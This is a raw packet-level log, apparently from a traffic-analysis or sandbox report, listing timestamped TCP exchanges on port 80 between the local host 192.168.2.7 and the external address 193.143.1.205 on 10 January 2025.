Jan 10, 2025 23:55:40.004245996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.004251957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004265070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004276037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.004296064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.004309893 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.004323959 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.013794899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.027551889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027585983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027596951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027610064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027622938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027636051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027641058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.027648926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.027676105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028309107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028321028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028335094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028366089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028374910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028378010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028390884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028419971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028425932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028438091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028450966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028477907 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028493881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028498888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028506994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028518915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028544903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028551102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028563976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028577089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028587103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028589010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028614044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028620958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028647900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028667927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028683901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028687954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028700113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028709888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028709888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028724909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028734922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028738022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028749943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028759956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028794050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028800964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028812885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028826952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028856039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028862000 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028868914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028882027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028889894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028893948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028917074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028954029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028966904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028978109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.028990984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.028990984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029004097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029016972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029016972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029047012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029134035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029145956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029151917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029179096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029186010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029197931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029217005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029230118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029230118 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029253960 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029292107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029304981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029318094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029329062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029344082 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029347897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029360056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029370070 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029373884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029397011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029416084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029427052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029438972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029444933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029457092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029481888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029496908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029503107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.029509068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029520988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.029597998 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.031339884 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038003922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038022041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038034916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038047075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038060904 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038059950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038072109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038080931 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038110018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038147926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038187027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038187981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038198948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038233995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038253069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038270950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038284063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038311958 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038315058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038328886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038340092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038352966 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038355112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038367987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038388014 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038398027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038403034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038409948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038424969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038435936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.038445950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.038470030 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.069763899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069780111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069792986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069804907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069830894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.069856882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.069868088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069880009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069891930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069904089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069916964 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.069916964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069930077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.069953918 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.069976091 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.081034899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081047058 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081058025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081078053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081089973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081100941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.081103086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081119061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081126928 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.081137896 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081140995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081142902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.081146955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081156969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081173897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.081182957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.081262112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.090065002 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.094105005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094243050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094254971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094269037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094281912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094327927 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.094327927 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.094368935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094382048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.094429970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.115344048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115423918 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.115490913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115500927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115513086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115525007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115530968 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.115535975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115550995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.115576982 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.115595102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116290092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116301060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116312981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116324902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116339922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116350889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116352081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116369963 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116399050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116449118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116458893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116471052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116482973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116494894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116494894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116507053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116518974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116543055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116554022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116575003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116588116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116620064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116753101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116765022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116776943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116789103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116791010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116800070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116811991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116815090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116822958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116837025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116841078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116843939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116853952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116857052 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116858959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116878033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116884947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116892099 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.116893053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.116956949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117063046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117096901 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117245913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117258072 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117270947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117281914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117295027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117300034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117322922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117392063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117402077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117414951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117429018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117430925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117439985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117451906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117453098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117459059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117465973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117477894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117491961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117501020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117503881 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117527008 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117539883 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117543936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117552042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117558002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117563963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117569923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117583990 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117609978 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117712021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117723942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117734909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117741108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117748022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117752075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117764950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117774010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117777109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117789030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117799044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117804050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.117815971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.117844105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.120544910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.126869917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.126883030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.126893997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.126966953 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.127044916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127057076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127068996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127080917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127094984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127104044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.127120972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.127135038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.127193928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127206087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127217054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127228975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127242088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127254009 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.127280951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.127358913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.127396107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.148539066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148550034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148561954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148575068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148586035 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148593903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.148597956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148611069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148624897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148633003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.148648024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.148662090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.148679972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148688078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148695946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148698092 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148741961 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.148845911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148859024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148869991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.148889065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.149007082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.149166107 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.167604923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167617083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167637110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167659998 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.167737007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167747974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167758942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167771101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.167783022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.167807102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.178081036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178092957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178105116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178116083 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:40.178137064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:40.178160906 CET	49700	80	192.168.2.7	193.143.1.205
